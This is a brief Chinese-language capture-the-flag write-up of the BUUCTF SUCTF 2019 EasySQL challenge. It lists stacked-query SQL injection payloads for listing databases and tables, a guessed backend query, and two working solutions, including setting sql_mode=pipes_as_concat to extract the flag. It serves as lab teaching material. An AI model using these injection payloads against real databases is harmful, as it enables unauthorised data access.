BUUCTF SUCTF 2019]EasySQL
BUUCTF
SUCTF 2019]EasySQL
数字有回显
1
qq
字母无回显
1;show databases#
1;show tables;#
1;show columns from FLAG;#
被过滤了
猜测源码为
select $_GET[‘query’] || flag from flag
知识点
oracle 支持 通过 ‘ || ’ 来实现字符串拼接，但在mysql 不支持。
sql_mode=pipes_as_concat; 来使 || 用作拼接的作用。sql_mode是一组mysql支持的基本语法及校验规则
- 解法
select *,1||flag from FLAG =select *,1 from FLAG
本地测试
2.解法二
select 1; sql_mode=pipes_as_concat; select 1|flag from FLAG;
本地测试 查询结果会进行拼接